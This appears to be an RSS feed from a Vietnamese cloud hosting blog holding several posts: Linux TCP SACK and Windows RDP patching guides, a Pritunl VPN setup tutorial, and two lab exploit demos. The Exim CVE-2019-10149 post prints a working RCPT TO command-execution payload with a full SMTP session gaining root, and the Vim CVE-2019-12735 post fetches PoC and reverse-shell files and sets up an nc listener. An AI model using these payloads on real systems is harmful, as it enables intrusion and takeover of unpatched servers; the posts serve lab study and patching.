Jekyll2021-08-05T08:00:54+00:00http://localhost:8081/feed.xmlBlogCloud365Trang blog của dịch vụ cloud365.vn.{"name"=>nil, "email"=>nil, "twitter"=>nil}Hướng dẫn khắc phục lỗ hổng bảo mật CVE-2019-11477 trên Cloud3652019-06-25T00:00:00+00:002019-06-25T00:00:00+00:00http://localhost:8081/linux/cve2019-11477<p>Ngày 17/6/2019, 3 lỗ hổng liên quan đến việc xử lý các gói tin TCP đã được tìm thấy trong Linux kernel.</p>
<p>Lỗ hổng nghiêm trọng nhất có thể cho phép kẻ tấn công từ xa gửi mã khai thác và gây ra crash hệ thống, ảnh hưởng đến tính khả dụng của hệ thống.
Không có sự leo thang đặc quyền hoặc rò rỉ thông tin.</p>
<h2 id="các-lỗ-hổng-này-bao-gồm">Các lỗ hổng này bao gồm:</h2>
<ul>
<li>CVE-2019-11477 (có mức độ nghiêm trọng).</li>
<li>CVE-2019-11478.</li>
<li>CVE-2019-11479.</li>
</ul>
<h2 id="phạm-vi-ảnh-hưởng">Phạm vi ảnh hưởng:</h2>
<ul>
<li>CVE-2019-11477 : Ảnh hưởng đến các phiên bản nhân Linux từ 2.6.29 trở lên.</li>
<li>CVE-2019-11478 : Ảnh hưởng đến các phiên bản nhân Linux 4.15 trở xuống</li>
<li>CVE-2019-11479 : Ảnh hưởng tất cả các phiên bản Linux</li>
</ul>
<h2 id="cách-kiểm-tra-hệ-thống-tồn-tại-lỗ-hổng">Cách kiểm tra hệ thống tồn tại lỗ hổng:</h2>
<ul>
<li>
<p>Download script ở địa chỉ:
https://access.redhat.com/sites/default/files/cve-2019-11477–2019-06-17-1629.sh</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> wget https://access.redhat.com/sites/default/files/cve-2019-11477--2019-06-17-1629.sh
bash cve-2019-11477--2019-06-17-1629.sh
</code></pre></div> </div>
</li>
<li>
<p>Kết quả hệ thống tồn tại lỗ hổng:</p>
<p><img src="/images/img-cve2019-11477/cve-2019-11477_1.png" alt="" /></p>
</li>
<li>
<p>Kết quả hệ thống không tồn tại lỗ hổng:</p>
<p><img src="/images/img-cve2019-11477/cve-2019-11477.png" alt="" /></p>
</li>
</ul>
<h2 id="biện-pháp-xử-lý">Biện pháp xử lý</h2>
<p>Khuyến cáo người dùng sớm Update Kernel lên phiên bản mới
Sau đó thực hiện 1 trong 2 cách fix sau:</p>
<ul>
<li>Disable SACK processing (/proc/sys/net/ipv4/tcp_sack set to 0) (reboot lại sẽ mất cấu hình).
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">echo </span>0 <span class="o">></span> /proc/sys/net/ipv4/tcp_sack
</code></pre></div> </div>
<p>Hoặc</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> sysctl <span class="nt">-w</span> net.ipv4.tcp_sack<span class="o">=</span>0
</code></pre></div> </div>
</li>
<li>Add rules vào firewall:
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> firewall-cmd <span class="nt">--permanent</span> <span class="nt">--direct</span> <span class="nt">--add-rule</span> ipv4 filter INPUT 0 <span class="nt">-p</span> tcp <span class="nt">--tcp-flags</span> SYN SYN <span class="nt">-m</span> tcpmss <span class="nt">--mss</span> 1:500 <span class="nt">-j</span> DROP
firewall-cmd <span class="nt">--permanent</span> <span class="nt">--direct</span> <span class="nt">--add-rule</span> ipv6 filter INPUT 0 <span class="nt">-p</span> tcp <span class="nt">--tcp-flags</span> SYN SYN <span class="nt">-m</span> tcpmss <span class="nt">--mss</span> 1:500 <span class="nt">-j</span> DROP
firewall-cmd <span class="nt">--reload</span>
firewall-cmd <span class="nt">--permanent</span> <span class="nt">--direct</span> <span class="nt">--get-all-rules</span>
</code></pre></div> </div>
<p>Hoặc đối với iptables:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> iptables <span class="nt">-I</span> INPUT <span class="nt">-p</span> tcp <span class="nt">--tcp-flags</span> SYN SYN <span class="nt">-m</span> tcpmss <span class="nt">--mss</span> 1:500 <span class="nt">-j</span> DROP
ip6tables <span class="nt">-I</span> INPUT <span class="nt">-p</span> tcp <span class="nt">--tcp-flags</span> SYN SYN <span class="nt">-m</span> tcpmss <span class="nt">--mss</span> 1:500 <span class="nt">-j</span> DROP
iptables <span class="nt">-nL</span> <span class="nt">-v</span>
ip6tables <span class="nt">-nL</span> <span class="nt">-v</span>
</code></pre></div> </div>
</li>
</ul>
<p><strong>Link tham khảo:</strong></p>
<ul>
<li>https://access.redhat.com/security/vulnerabilities/tcpsack</li>
</ul>
<hr />
<p>Thực hiện bởi <a href="https://cloud365.vn/" target="_blank">cloud365.vn</a></p>tuandaNgày 17/6/2019, 3 lỗ hổng liên quan đến việc xử lý các gói tin TCP đã được tìm thấy trong Linux kernel.CVE_2019-101492019-06-14T00:00:00+00:002019-06-14T00:00:00+00:00http://localhost:8081/cve_2019-10149/CVE_2019-10149<h1 id="cve-2019-10149-critical-remote-command-execution-in-exim">CVE-2019-10149: Critical Remote Command Execution In Exim</h1>
<p>CVE-2019-10149 là một lỗ hổng thực thi lệnh từ xa được giới thiệu trong phiên bản Exim trước trước phiên bản 4.92. Trong cấu hình mặc định, kẻ tấn công cục bộ có khả năng khai thác lỗ hổng này để thực thi các lệnh như người dùng root ngay bằng cách gửi thư đến một địa chỉ thư được tạo thủ công đặc biệt trên localhost.</p>
<div style="text-align:center"><img src="https://i.imgur.com/dET1LTn.png" /></div>
<h2 id="môi-trường-lab">Môi trường LAB</h2>
<p><code class="highlighter-rouge">Exim version 4.91</code></p>
<h2 id="thực-hiện">Thực hiện</h2>
<ul>
<li>
<p>Mục tiêu tạo ra file <code class="highlighter-rouge">/tmp/id</code> chứa thông tin id user</p>
</li>
<li>
<p>Ban đầu kiểm tra xem có tồn tại file /tmp/id</p>
</li>
</ul>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@testexim ~]# cat /tmp/id
cat: /tmp/id: No such file or directory
[root@testexim ~]#
</code></pre></div></div>
<ul>
<li>Trên user <code class="highlighter-rouge">minhkma</code> thực hiện</li>
</ul>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}
</code></pre></div></div>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[minhkma@testexim ~]$ nc 127.0.0.1 25
220-cpanel.localhost.localdomain ESMTP Exim 4.91 #1 Fri, 14 Jun 2019 16:50:25 +0700
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
HELO localhost
250 cpanel.localhost.localdomain Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
.
250 OK id=1hbirS-0000mL-ER
QUIT
221 cpanel.localhost.localdomain closing connection
Ncat: Broken pipe.
</code></pre></div></div>
<ul>
<li>Sau đó quay lại kiểm tra</li>
</ul>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@testexim ~]# cat /tmp/id
uid=0(root) gid=12(mail) groups=12(mail)
uid=0(root) gid=12(mail) groups=12(mail)
</code></pre></div></div>
<ul>
<li>
<p>Tài liệu tham khảo</p>
<ul>
<li>https://www.exploit-db.com/exploits/46974</li>
<li>https://www.zdnet.com/article/exim-email-servers-are-now-under-attack/</li>
<li>https://www.openwall.com/lists/oss-security/2019/06/06/1</li>
</ul>
</li>
</ul>minhnvCVE-2019-10149: Critical Remote Command Execution In EximCVE-2019-127352019-06-14T00:00:00+00:002019-06-14T00:00:00+00:00http://localhost:8081/cve-2019-12735/CVE_2019-12735<h1 id="exploit-poc-linux-command-execution-on-vimneovim-vulnerability-cve-201912735">Exploit PoC: Linux command execution on Vim/Neovim vulnerability (CVE-2019–12735)</h1>
<p>Vim ở phiên bản trước 8.1.1365 và Neevim trước phiên bản 0.3.6 dễ thực thi code execution thông qua modelines bằng cách mở các file text đặt biệt được tạo ra.</p>
<p>Chi tiết đọc thêm ở <a href="https://sensorstechforum.com/cve-2019-12735-linux-vim-neovim-vulnerabilities-get-hacked/">đây</a></p>
<h2 id="môi-trường">Môi trường:</h2>
<p><code class="highlighter-rouge">vim 7.4</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@sky ~]# vim --version
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Oct 30 2018 19:56:57)
Included patches: 1-160, 399, 402-403, 1099
Modified by <bugzilla@redhat.com>
Compiled by <bugzilla@redhat.com>
</code></pre></div></div>
<h2 id="thực-hiện">Thực hiện</h2>
<ul>
<li>
<p>POC1: Thực hiện <code class="highlighter-rouge">uname -a</code> khi sử dụng <code class="highlighter-rouge">vim somthing_file</code></p>
<ul>
<li>
<p>Tạo ra một file có nội dung sau</p>
<p><code class="highlighter-rouge">wget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/poc.txt</code></p>
</li>
<li>
<p>Thực hiện POC</p>
</li>
</ul>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> vim -c ":so! poc.txt"
</code></pre></div> </div>
<ul>
<li>Kết quả</li>
</ul>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> [root@sky ~]# vim -c ":so! poc.txt"
Linux sky 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Press ENTER or type command to continue
</code></pre></div> </div>
</li>
<li>
<p>POC2: Thực hiện reverse shell</p>
<ul>
<li>
<p>Tạo ra một file có nội dung như sau</p>
<p><code class="highlighter-rouge">wget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt</code></p>
</li>
<li>
<p>Tham khảo thêm về kỹ thuật reverse shell tại <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">đây</a></p>
<p><img src="https://i.imgur.com/qekU364.png" /></p>
</li>
<li>
<p>Chia 2 cửa số terminal</p>
<ul>
<li>terminal 1: Thực hiện <code class="highlighter-rouge">nc -lvp 9999</code></li>
<li>terminal 2: Thực hiên <code class="highlighter-rouge">vim -c ":so! /root/shell.txt"</code></li>
</ul>
</li>
<li>
<p>Kết quả:</p>
<ul>
<li>
<p>Trước khi thực hiện lệnh vim</p>
<p><img src="https://i.imgur.com/dhBa4MF.png" /></p>
</li>
<li>
<p>Sau khi thực hiện lệnh vim</p>
<p><img src="https://i.imgur.com/wCIPjtz.png" /></p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="tài-liệu-tham-khảo">Tài liệu tham khảo</h2>
<ul>
<li>https://github.com/numirias/security</li>
</ul>minhnvExploit PoC: Linux command execution on Vim/Neovim vulnerability (CVE-2019–12735)Hướng dẫn cài đặt Pritunl VPN trên Cloud3652019-06-12T00:00:00+00:002019-06-12T00:00:00+00:00http://localhost:8081/linux/huong-dan-setup-pritunl<p><img src="/images/img-pritunl/pritunl1.png" alt="" /></p>
<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Pritunl là phần mềm mã nguồn mở được sử dụng để ảo hóa VPN server trên hạ tầng các trung tâm dữ liệu. Đồng thời cung cấp phương thức truy cập từ xa đơn giản trong vòng vài phút</p>
<h2 id="mô-hình">Mô hình</h2>
<p><img src="/images/img-pritunl/pritunl.png" alt="" /></p>
<h2 id="mục-tiêu">Mục tiêu</h2>
<ul>
<li>Khi sử dụng Cloud trên hệ thống Cloud365, người dùng hoàn toàn có thể setup hệ thống LAN private giữa các VM với nhau và đi ra ngoài theo 1 IP public duy nhất. Khi đó, người dùng có thể dùng Pritunl Server làm VPN Server để các Client connect vào, sau đó kết nối tới các máy ảo thông qua đường Private LAN.</li>
</ul>
<p>Mô hình thử nghiệm sử dụng 3 máy ảo, trong đó:</p>
<ul>
<li><code class="highlighter-rouge">VM Pritunl</code> đóng vai trò VPN Server.</li>
<li><code class="highlighter-rouge">VM Client</code> đóng vai trò VPN Client.</li>
<li><code class="highlighter-rouge">VM Target</code> sau khi cấu hình thành công khi máy remote quay VPN thành công và ping được tới dải Private LAN, và ra được internet.</li>
</ul>
<h2 id="yêu-cầu">Yêu cầu</h2>
<ul>
<li>Server Pritunl cài đặt hệ điều hành CentOS 7</li>
<li>Server Pritunl có 2 card mạng : 1 card IP public, 1 card IP Private LAN.</li>
</ul>
<h2 id="cấu-hình">Cấu hình</h2>
<ol>
<li>Cài đặt Server:</li>
</ol>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>tee /etc/yum.repos.d/mongodb-org-4.0.repo <span class="o"><<</span> <span class="no">EOF</span><span class="sh">
[mongodb-org-4.0]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/redhat/7/mongodb-org/4.0/x86_64/
gpgcheck=1
enabled=1
gpgkey=https://www.mongodb.org/static/pgp/server-4.0.asc
</span><span class="no">EOF
</span><span class="nb">sudo </span>tee /etc/yum.repos.d/pritunl.repo <span class="o"><<</span> <span class="no">EOF</span><span class="sh">
[pritunl]
name=Pritunl Repository
baseurl=https://repo.pritunl.com/stable/yum/centos/7/
gpgcheck=1
enabled=1
</span><span class="no">EOF
</span><span class="nb">sudo </span>rpm <span class="nt">-Uvh</span> https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
gpg <span class="nt">--keyserver</span> hkp://keyserver.ubuntu.com <span class="nt">--recv-keys</span> 7568D9BB55FF9E5287D586017AE645C0CF8E292A
gpg <span class="nt">--armor</span> <span class="nt">--export</span> 7568D9BB55FF9E5287D586017AE645C0CF8E292A <span class="o">></span> key.tmp<span class="p">;</span>
<span class="nb">sudo </span>rpm <span class="nt">--import</span> key.tmp<span class="p">;</span> rm <span class="nt">-f</span> key.tmp
<span class="nb">sudo </span>yum <span class="nt">-y</span> install pritunl mongodb-org
<span class="nb">sudo </span>systemctl start mongod pritunl
<span class="nb">sudo </span>systemctl <span class="nb">enable </span>mongod pritunl
</code></pre></div></div>
<ol>
<li>Cấu hình mở thêm open file limit (Tùy chọn)
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>sh <span class="nt">-c</span> <span class="s1">'echo "* hard nofile 64000" >> /etc/security/limits.conf'</span>
<span class="nb">sudo </span>sh <span class="nt">-c</span> <span class="s1">'echo "* soft nofile 64000" >> /etc/security/limits.conf'</span>
<span class="nb">sudo </span>sh <span class="nt">-c</span> <span class="s1">'echo "root hard nofile 64000" >> /etc/security/limits.conf'</span>
<span class="nb">sudo </span>sh <span class="nt">-c</span> <span class="s1">'echo "root soft nofile 64000" >> /etc/security/limits.conf'</span>
</code></pre></div> </div>
</li>
<li>Cấu hình hệ thống:</li>
</ol>
<p><strong>Cấu hình truy cập:</strong></p>
<ul>
<li>Truy cập vào đường dẫn webbase:
<code class="highlighter-rouge">https://<ip></code></li>
<li>Truy cập SSH vào server chạy lệnh để lấy <code class="highlighter-rouge">setup-key</code></li>
</ul>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>pritunl setup-key
</code></pre></div></div>
<ul>
<li>MongoDB URI để default</li>
<li>Điền <code class="highlighter-rouge">setup-key</code> và Save:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl3.png" alt="" /></p>
<ul>
<li>Chạy lệnh trên CLI để lấy default password và user:
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>pritunl default-password
</code></pre></div> </div>
</li>
</ul>
<p><img src="/images/img-pritunl/pritunl5.png" alt="" /></p>
<ul>
<li>Sau đó điền user và password đăng nhập:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl4.png" alt="" /></p>
<ul>
<li>Hoàn thành bước setup (change password user pritunl nếu cần):</li>
</ul>
<p><img src="/images/img-pritunl/pritunl6.png" alt="" /></p>
<p><strong>Cấu hình :</strong></p>
<ul>
<li>Vào mục <code class="highlighter-rouge">Users</code>, chọn <code class="highlighter-rouge">Add organization</code>, đặt tên cho <code class="highlighter-rouge">Organization</code>:
<img src="/images/img-pritunl/pritunl7.png" alt="" /></li>
</ul>
<p><img src="/images/img-pritunl/pritunl8.png" alt="" /></p>
<ul>
<li>Sau khi tạo <code class="highlighter-rouge">Organization</code>, lựa chọn <code class="highlighter-rouge">Add user</code>:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl9.png" alt="" /></p>
<ul>
<li>Điền các thông tin liên quan: username, PIN (sử dụng để connect):</li>
</ul>
<p><img src="/images/img-pritunl/pritunl10.png" alt="" /></p>
<ul>
<li>Chuyển sang mục <code class="highlighter-rouge">Servers</code>, chọn <code class="highlighter-rouge">Add Server</code>, khai báo các thông tin cho Server:
<ul>
<li>Tên Server</li>
<li>Port và giao thức truy cập</li>
<li>Virtual network: đây là dải mạng cấp cho Client connect (TUN)</li>
</ul>
</li>
</ul>
<p><img src="/images/img-pritunl/pritunl11.png" alt="" /></p>
<p><img src="/images/img-pritunl/pritunl12.png" alt="" /></p>
<ul>
<li>Add thành công, chọn phần <code class="highlighter-rouge">Add Route</code> để add thêm route về dải Private Network:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl14.png" alt="" /></p>
<p><img src="/images/img-pritunl/pritunl15.png" alt="" /></p>
<ul>
<li>Sau khi add xong Server, tiếp tục chọn mục <code class="highlighter-rouge">Attach Organization</code>:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl13.png" alt="" /></p>
<ul>
<li>Vào mục Server, chọn <code class="highlighter-rouge">Start Server</code>:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl15b.png" alt="" /></p>
<p><strong>Kết nối Client</strong></p>
<ul>
<li>Lấy thông tin Client:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl16.png" alt="" /></p>
<ul>
<li>Truy cập để download Client (Ở ví dụ Client là Windows):</li>
</ul>
<p><img src="/images/img-pritunl/pritunl17.png" alt="" /></p>
<ul>
<li>Thực hiện kết nối (mở Pritunl Client có giao diện như sau):</li>
</ul>
<p><img src="/images/img-pritunl/pritunl18.png" alt="" /></p>
<ul>
<li>Chọn <code class="highlighter-rouge">Import Profile URI</code> và nhập Profile URI đã copy phía trên</li>
</ul>
<p><img src="/images/img-pritunl/pritunl19.png" alt="" /></p>
<ul>
<li>Sau khi import đúng sẽ hiển thị user và chọn menu bên góc phải -> <code class="highlighter-rouge">Connect</code></li>
</ul>
<p><img src="/images/img-pritunl/pritunl20.png" alt="" /></p>
<p><img src="/images/img-pritunl/pritunl21.png" alt="" /></p>
<ul>
<li>Nhập mã PIN khi tạo user:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl22.png" alt="" /></p>
<ul>
<li>Connect và lấy IP thành công:</li>
</ul>
<p><img src="/images/img-pritunl/pritunl23.png" alt="" /></p>
<ul>
<li>Test connect tới dải Private OK:</li>
</ul>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ping 172.16.0.6
Pinging 172.16.0.6 with 32 bytes of data:
Reply from 172.16.0.6: <span class="nv">bytes</span><span class="o">=</span>32 <span class="nb">time</span><span class="o">=</span>4ms <span class="nv">TTL</span><span class="o">=</span>63
Ping statistics <span class="k">for </span>172.16.0.6:
Packets: Sent <span class="o">=</span> 1, Received <span class="o">=</span> 1, Lost <span class="o">=</span> 0 <span class="o">(</span>0% loss<span class="o">)</span>,
Approximate round trip <span class="nb">times </span><span class="k">in </span>milli-seconds:
Minimum <span class="o">=</span> 4ms, Maximum <span class="o">=</span> 4ms, Average <span class="o">=</span> 4ms
ping 172.16.0.5
Pinging 172.16.0.5 with 32 bytes of data:
Reply from 172.16.0.5: <span class="nv">bytes</span><span class="o">=</span>32 <span class="nb">time</span><span class="o">=</span>3ms <span class="nv">TTL</span><span class="o">=</span>64
Reply from 172.16.0.5: <span class="nv">bytes</span><span class="o">=</span>32 <span class="nb">time</span><span class="o">=</span>4ms <span class="nv">TTL</span><span class="o">=</span>64
</code></pre></div></div>
<hr />
<p>Thực hiện bởi <a href="https://cloud365.vn/" target="_blank">cloud365.vn</a></p>tuandaGiới thiệu Pritunl là phần mềm mã nguồn mở được sử dụng để ảo hóa VPN server trên hạ tầng các trung tâm dữ liệu. Đồng thời cung cấp phương thức truy cập từ xa đơn giản trong vòng vài phútHướng dẫn cập nhật bản vá lỗ hổng bảo mật CVE-2019-0708 trên Windows.2019-05-21T00:00:00+00:002019-05-21T00:00:00+00:00http://localhost:8081/windows/cap-nhat-lo-hong-bao-mat-cve-2019-0708<h2 id="1-lỗ-hổng-bảo-mật-cve-2019-0708-trên-windows">1. Lỗ hổng bảo mật CVE-2019-0708 trên Windows</h2>
<p>Microsoft thường xuyên cập nhật các bản vá cho các phiên bản hệ điều hành <code class="highlighter-rouge">Windows</code> đang được cung cấp sử dụng. Gần đây Microsoft đã phát hành bản cập nhật hàng tháng cho tháng 5 - 2019. Ngày 14/5/2019, Microsoft đã thực hiện cảnh báo về lỗ hổng bảo mật nghiêm trọng trên các phiên bản Windows server (CVE-2019-0708 Remote Code Execution Vulnerability).</p>
<p><code class="highlighter-rouge">CVE-2019-0708</code> là một lỗ hổng thực hiện chạy được mã thực thi từ xa và đặc biệt có thể cho phép kẻ tấn công từ xa không được xác thực cũng có thể thực thi mã từ xa trên mục tiêu dễ bị tấn công khi chạy giao thức <code class="highlighter-rouge">Remote Desktop Protocol (RDP)</code>.</p>
<p><img src="/images/img-cve-2019-0708/cve1.jpg" alt="" /></p>
<p>Sau khi khai thác thành công, kẻ tấn công có thể thực thi các hành động tùy ý trên hệ thống mục tiêu, sau đó có thể cài đặt chương trình: <code class="highlighter-rouge">xem</code>, <code class="highlighter-rouge">sửa</code> hoặc <code class="highlighter-rouge">xóa</code> dữ liệu hoặc tạo tài khoản mới với quyền người dùng đầy đủ. Một khi đã thực thi được trên hệ thống của người dùng kẻ tấn công có thể thực hiện hình thức mã hóa dữ liệu tống tiến để lấy lại dữ liệu.</p>
<h2 id="2-các-phiên-bản-hệ-điều-hành-windows-bị-ảnh-hưởng">2. Các phiên bản hệ điều hành Windows bị ảnh hưởng.</h2>
<p>• Windows 7 for 32-bit Systems Service Pack 1 <br />
• Windows 7 for x64-based Systems Service Pack 1 <br />
• Windows Server 2008 for 32-bit Systems Service Pack 2 <br />
• Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core) <br />
• Windows Server 2008 for Itanium-Based Systems Service Pack 2 <br />
• Windows Server 2008 for x64-based Systems Service Pack 2 <br />
• Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core) <br />
• Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1 <br />
• Windows Server 2008 R2 for x64-based Systems Service Pack 1 <br />
• Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core) <br />
• Windows XP SP3 x86 <br />
• Windows XP Professional x64 Edition SP2 <br />
• Windows XP Embedded SP3 x86 <br />
• Windows Server 2003 SP2 x86 <br />
• Windows Server 2003 x64 Edition SP2 <br /></p>
<h2 id="3-cập-nhật-bản-vá-cve-2019-0708">3. Cập nhật bản vá CVE-2019-0708</h2>
<h3 id="31-windows-server-2008">3.1. Windows Server 2008</h3>
<p><strong>Bước 1</strong>: Xác định version OS và download bản update security cho CVE-2019-0708 về server.</p>
<ul>
<li>Remote vào VPS<br /></li>
<li>Mở cửa sổ <code class="highlighter-rouge">cmd</code> -> gõ <code class="highlighter-rouge">msinfo32</code></li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1568.png" alt="" /></p>
<ul>
<li>Ấn tổ hợp phím <code class="highlighter-rouge">Windows + E</code> -> Chuột phải <code class="highlighter-rouge">Computer</code> -> <code class="highlighter-rouge">Properties</code></li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1569.png" alt="" /></p>
<p>Xác định được thông tin hệ điều hành là <code class="highlighter-rouge">Windows Server 2008 Enterprise SP2 32 bit</code></p>
<p><strong>Bước 2</strong>: Download bản update security <code class="highlighter-rouge">CVE-2019-0708</code> tương ứng với hệ điều hành <code class="highlighter-rouge">Windows Server 2008 Enterprise SP2 32 bit</code>.</p>
<ul>
<li>Truy cập trang cập nhật bản vá của Microsoft</li>
</ul>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
</code></pre></div></div>
<p><img src="/images/img-cve-2019-0708/Screenshot_1570.png" alt="" /></p>
<ul>
<li>Tìm và tải bản cập nhật</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1571.png" alt="" /></p>
<p><strong>Lưu ý</strong>: Tùy thuộc và phiên bản hệ điều hành server đang chạy bạn tìm và tải đúng bản cập nhật. Ở hướng dẫn này thực hiện hướng dẫn tải và cài đặt bản cập nhật CVE-2019-0708 cho hệ điều hành Windows Server 2008 Enterprise SP2 32 bit.</p>
<ul>
<li>Download đúng phiên bản</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1572.png" alt="" /></p>
<ul>
<li>Lựa chọn file có đuôi mở rộng <code class="highlighter-rouge">.msu</code></li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1573.png" alt="" /></p>
<p><strong>Bước 3</strong>: Chạy file cập nhật bản vá CVE-2019-0708</p>
<ul>
<li>Mở file cập nhật</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1574.png" alt="" /></p>
<ul>
<li>Xác nhận cài đặt.</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1575.png" alt="" /></p>
<ul>
<li>Chờ vài phút để quá quá trình cài đặt hoàn tất và restart lại server.</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1576.png" alt="" /></p>
<h3 id="32-windows-7">3.2. Windows 7</h3>
<p><strong>Bước 1</strong>: Xác định version OS và download bản update security cho CVE-2019-0708 về server.</p>
<ul>
<li>Remote vào VPS<br /></li>
<li>Mở cửa sổ <code class="highlighter-rouge">cmd</code> -> gõ <code class="highlighter-rouge">msinfo32</code></li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1586.png" alt="" /></p>
<ul>
<li>Ấn tổ hợp phím <code class="highlighter-rouge">Windows + E</code> -> Chuột phải <code class="highlighter-rouge">Computer</code> -> <code class="highlighter-rouge">Properties</code></li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1587.png" alt="" /></p>
<p>Xác định được thông tin hệ điều hành là <code class="highlighter-rouge">Windows 7 Enterprise SP1 64 bit</code></p>
<p><strong>Bước 2</strong>: Download bản update security <code class="highlighter-rouge">CVE-2019-0708</code> tương ứng với hệ điều hành <code class="highlighter-rouge">Windows 7 Enterprise SP1 64 bit</code>.</p>
<ul>
<li>Truy cập trang cập nhật bản vá của Microsoft</li>
</ul>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
</code></pre></div></div>
<p><img src="/images/img-cve-2019-0708/Screenshot_1570.png" alt="" /></p>
<ul>
<li>Tìm và tải bản cập nhật</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1588.png" alt="" /></p>
<p><strong>Lưu ý</strong>: Tùy thuộc và phiên bản hệ điều hành server đang chạy bạn tìm và tải đúng bản cập nhật. Ở hướng dẫn này thực hiện hướng dẫn tải và cài đặt bản cập nhật CVE-2019-0708 cho hệ điều hành Windows 7 Enterprise SP1 64 bit.</p>
<ul>
<li>Download đúng phiên bản</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1589.png" alt="" /></p>
<ul>
<li>Lựa chọn file có đuôi mở rộng <code class="highlighter-rouge">.msu</code></li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1590.png" alt="" /></p>
<p><strong>Bước 3</strong>: Chạy file cập nhật bản vá CVE-2019-0708</p>
<ul>
<li>Mở file cập nhật</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1591.png" alt="" /></p>
<ul>
<li>Xác nhận cài đặt.</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1592.png" alt="" /></p>
<ul>
<li>Chờ vài phút để quá quá trình cài đặt hoàn tất và restart lại server.</li>
</ul>
<p><img src="/images/img-cve-2019-0708/Screenshot_1593.png" alt="" /></p>
<p>Hy vọng với những thông tin và hướng dẫn cơ bản trên giúp bạn có thêm thông tin về lỗ hổng bảo mật CVE-2019-0708, các bước cập nhật để bảo vệ cho server của mình.</p>
<p><strong>Tham khảo</strong></p>
<p>https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/</p>
<p>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708</p>
<p>https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708</p>
<hr />
